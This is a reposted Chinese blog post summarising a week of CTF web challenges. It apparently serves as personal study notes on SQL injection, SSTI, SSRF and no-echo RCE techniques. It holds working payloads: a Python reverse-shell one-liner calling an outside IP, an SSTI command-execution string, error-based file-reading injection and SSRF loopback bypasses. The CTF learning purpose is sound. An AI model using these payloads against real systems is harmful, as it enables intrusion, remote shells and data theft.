2023 10月2日 至 10 月8日学习总结

news2024/11/18 8:25:57

学了半天 想了还是需要进行个总结

1.做的题目

NSSCTF [BJDCTF 2020]easy_md5 md5实现sql-CSDN博客

[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息_双层小牛堡的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入_双层小牛堡的博客-CSDN博客

攻防世界 mfw git泄露构造闭合-CSDN博客

攻防世界 Web_python_template_injection SSTI printer方法_双层小牛堡的博客-CSDN博客

CTFSHOW SSRF_双层小牛堡的博客-CSDN博客

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等-CSDN博客

CTFHUB - SSRF_双层小牛堡的博客-CSDN博客

[b01lers2020]Welcome to Earth_双层小牛堡的博客-CSDN博客

以上是

2023 10月2-8日做的题目 正值国庆假期 所以题目会多点

2.知识点

这里进行知识点的复习

特殊的MD5 实现万能钥匙闭合

题目内容是 一个sql语句

select *  from password = md5($pass,true)

这里会通过MD5 然后进行查询

这里就会有一个特殊的md5

ffifdyop

md5为 276F722736C95D99E921722CF9ED621C

然后通过十六进制转字符串

为'or'6  É]é!r,ùíb

 所以传入的值变为了

select *  from password = ''or'6  É]é!r,ùíb'

就会实现万能密码的作用

这里还有一个

129581926211651571912466741651878684928

作用是一样的

proc/self文件夹

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

文件夹里都是和进程相关的

首先存在 environ 和 cmdline

其中会存在敏感信息

存在任意文件读取 我们可以去读取这个

然后获取完如果想获得当前工作环境的文件内容

可以通过 /proc/self/cwd/文件 来读取

如果文件代码中存在 open 打开文件的字样

那么就会在 /proc/self/fd/[0-999] 中创建

然后我们就可以通过 bp爆破 获取敏感信息

反弹shell

主要是python反弹shell

首先可以通过

os.system(shell)

发现可以执行命令

然后可以让受害者 主动链接攻击机器 主要方式是通过免费域名

然后进行监听端口

主要反弹shell的代码

//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

NATAPP -

这里可以免费获取

没有回显的rce就可以使用这个

报错注入读取文件

通过 load_file("文件") 来读取

updatexml(1,concat(0x7e,(select load_file('/flag'))),3)

二次注入

    $address = addslashes($_POST["address"]);

发现没有进行过滤

    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];

并且会从数据库进行读取

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

这里的old_address 那么我们输入报错语句 ' updatexml() 就会一样的输出 因为只是作为转义存入了

所以会原封不动的输出

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='"' updatexml()#"' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

实现了 二次注入

SSTI的 printer方法

这里只是记录一下 这个方法也可以实现注入

格式为下面的

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

SSRF ctfshow内容

主要是 sudo.cc 表示 127.0.0.1

 127.1 表示127.0.0.1

无回显rce localeconv()  array_reverse()   session_start()

因为过滤了 __ dir

无法使用以前的 print_r(__FILE__)

这里可以通过 localeconv() 返回当前目录中的 .

然后通过指定 . 使用 current(localeconv())

print_r(current(localeconv)) 就类似于 print_r('.')

会回显当前

array_reverse 让数组倒序输出

这里还可以使用 session_start(session_id) 开启 session 然后通过 session 传递 flag.php
所以直接

print_r(session_start(session_id))

Cookie: PHPSESSID=flag.php

即可

SSRF ctfhub内容

打中间件直接使用 gopherus

git clone https://github.com/tarunkant/Gopherus.git

通过 工具生成 payload 然后 进行一次 url编码 即可

通过蚁剑链接 实现rce

可以通过

dict://127.0.0.1:xx 扫描端口 发现服务

gopher:// 可以伪造请求包 发送请求

格式

gopher://ip:port/_内容

需要进行2次url

%0a 需要 替换为%0d%0a

结尾也需要加上 %0d%0a

FASTCGI 作为服务器和解释器之间的协议

我们可以伪造包去访问FASTCGI 然后通过设置包含 实现rce

ctf@127.0.0.1 会被解析为 127.0.0.1

127.0.0.1:
 
 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
 
或者利用其他为 127.0.0.1的内容
 
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302可以通过短网址-短链接生成 还有 xip.io

DNS bypass 就是通过时间差 转变域名的 ip 当第一次ip通过检查后 第二次变为127.0.0.1

rbndr.us dns rebinding service

python排列组合方式

from itertools import permutations
 
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
 
item = permutations(flag)
 
for i in item:
    k=''.join(list(i))
    if k.startswith('pctf{')    and k[-1]=='}':
        print(k)

可以输出数组所有组合方式 我们确定开头和结尾 即可得到flag

3.不足

做题 没有沉下心来做 没思路就去看wp了

有的时候做题 感觉不难的 为什么不坚持坚持 去搜搜知识点 而不是直接搜wp来做

4.下一周计划

美亚可以准备了

buu继续做

nss 可以跟上 做点比赛真题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1076591.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

XPS表征(工作原理与特点)-科学指南针

在做 X 射线光电子能谱(XPS)测试时,科学指南针检测平台工作人员在与很多同学沟通中了解到,好多同学仅仅是通过文献或者师兄师姐的推荐对XPS有了解,但是对于XPS测试原理还属于小白阶段,针对此,科学指南针检测平台团队组…

Laya3.0 入门教程

点击play箭头 点击右边的开发者工具 就会弹出 chrome的调试窗口 然后定位到你自己的ts文件 直接在ts里断点即可 不需要js文件 如何自动生成代码? 比如你打开一个新项目 里面显示的是当前场景 只需要点击 UI运行时 右边的框就可以了 他会自动弹窗提示你 创建一个文…

iNet Network Scanner for Mac,轻松管理网络

iNet Network Scanner for Mac是一款强大的网络扫描工具,能够帮助你轻松管理和监控网络设备。 无论你是个人用户还是企业管理员,iNet Network Scanner都能为你提供全面而方便的网络管理体验。它可以快速扫描并识别局域网中的所有设备,包括电…

竞赛选题 深度学习 机器视觉 人脸识别系统 - opencv python

文章目录 0 前言1 机器学习-人脸识别过程人脸检测人脸对其人脸特征向量化人脸识别 2 深度学习-人脸识别过程人脸检测人脸识别Metric Larning 3 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 深度学习 机器视觉 人脸识别系统 该项目…

主机加固,防勒索病毒

​近年来,计算机以及互联网应用在中国得到普及和发展,已经深入到社会每个角落,政府,经济,军事,社会,文化和人们生活等各方面都越来越依赖于计算机和网络,电子政务,无纸办…

Flutter的Platform介绍-跨平台开发,如何根据不同平台创建不同UI和行为

文章目录 Flutter跨平台概念介绍跨平台开发平台相关性Platform ChannelPlatform-specific UIPlatform Widgets 如何判断当前是什么平台实例 Platform 类介绍获取当前平台的名称检查当前平台其他属性 利用flutter设计跨Android和IOS平台应用的技巧1. 遵循平台的设计准则2. 使用平…

Numpy Notes

np.linalg.norm() Matrix or vector norm return one of eight different matrix norms, or one of an infinite number of vector norms (described below), depending on the value of the ord parameter. np.linalg.norm() 用于求范数linalg : linear(线性) algebra(代数…

修改ubuntu服务器fs文件最大打开数

起因 在对项目进行压测的时候,请求异常 java.net.SocketException: socket closed,查看nginx代理服务器的日志。tail -f -n500 /var/log/nginx/error.log 显示 文件打开数太多socket() failed (24: Too many open files) while connecting to upstream …

新手小白教程之 圈X-QuantumultX i茅台自动预约教程

注意 本教程需要提前准备好BoxJS,QX最新版。 脚本作者onz3v 学习交流频道 https://pd.qq.com/s/2v3a5vkmj 第一步 配置QX 我们使用编辑配置文件,来配置脚本。 打开QX,点击左下角配置文件图标。 在rewrite_local输入以下代码 https://a…

基于小波神经网络的网络流量预测算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022A 3.部分核心程序 ........................................................... %% 总流量数据 input(:,1)dat…

Hive - 检查分区 partition 是否存在

目录 一.引言 二.检查最新分区 三.检查任意分区 四.总结 一.引言 国庆期间任务因为某个 hive 表分区未成功创建,导致后续任务异常,为此也是苦逼的 6 点起床修复 bug。发生异常对应表的正常分区如下图所示,为 dt、hour 双分区: 为了保证后…

c++视觉处理---cv::Sobel()`算子

cv::Sobel()算子 cv::Sobel()是OpenCV库中的函数之一,用于计算图像的Sobel梯度。Sobel梯度是一种常用的图像处理技术,用于检测图像中的边缘和轮廓。 以下是cv::Sobel()函数的一般用法和参数: void cv::Sobel(cv::InputArray src, //…

C++ 获取文件创建时间、修改时间、大小等属性

简介 获取文件创建时间、修改时间、大小等属性 代码 #include <iostream> #include <string.h> #include <time.h>void main() {std::string filename "E:\\LiHai123.txt";struct _stat stat_buffer;int result _stat(filename.c_str(), &s…

2023年中国叉车租赁行业现状分析:设备价格昂贵,租赁市场需求增长[图]

叉车租赁行业是指专门提供叉车租赁服务的行业。叉车是一种用于搬运、装卸和堆垛物品的机械设备&#xff0c;广泛应用于仓储、物流、建筑、制造业等领域。由于购买叉车需要较高的成本投入&#xff0c;而且使用频率可能不高&#xff0c;许多企业和个人选择通过租赁叉车来满足短期…

AI智剪助力,批量处理视频无忧,创作不再难

随着人工智能技术的迅速发展&#xff0c;一个名为“AI智剪”的新兴领域正引发全球范围内的关注。作为人工智能与视频剪辑技术的结合&#xff0c;AI智剪为影像产业带来了前所未有的变革&#xff0c;不仅极大地提高了剪辑效率&#xff0c;还为创作者提供了无限的可能性。今天我们…

基于SpringBoot的大型商场应急预案管理系统

目录 前言 一、技术栈 二、系统功能介绍 员工信息管理 预案信息管理 预案类型统计 事件类型管理 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍…

爱尔眼科角膜塑形镜验配超百万,全力做好“角塑镜把关人”

你知道吗?过去的2022年&#xff0c;我国儿童青少年总体近视率为53.6%&#xff0c;其中6岁儿童为14.5%&#xff0c;小学生为36%&#xff0c;初中生为71.6%&#xff0c;高中生为81%①。儿童青少年眼健康问题俨然成为全社会关心的热点与痛点&#xff0c;牵动着每一个人的神经。 好…

算法通过村第十三关-术数|青铜笔记|数字与数学

文章目录 前言数字统计专题符号统计阶乘0的个数 溢出问题整数反转字符串转整数回文数 进制专题七进制数进制转换 总结 前言 提示&#xff1a;生活是正着来生活&#xff0c;倒着去理解。 --戴维迈尔斯《社会心理学》 数学是学生时代掉头发的学科&#xff0c;那算法是毕业后掉头发…

【JavaEE】文件操作

文章目录 前言什么是文件树型结构组织和目录文件路径文件类型文件权限Java中的文件操作File 类的常见属性File 类常见构造方法File 类常用方法 前言 文件是我们日常生活中使用非常广泛的&#xff0c;我们使用任何一个程序都离不开文件操作&#xff0c;这个文件不仅仅指平时可以…

【java学习】变量的分类:成员变量与局部变量(16)

变量的分类 1. 基本概念2. 成员变量3. 局部变量4. 成员变量(属性)和局部变量的区别 1. 基本概念 概念&#xff1a; 在方法体外&#xff0c;类体内声明的变量称为成员变量。在方法体内部声明的变量称为局部变量。 2. 成员变量 实例变量&#xff1a;在类实例化成对象才能使用 …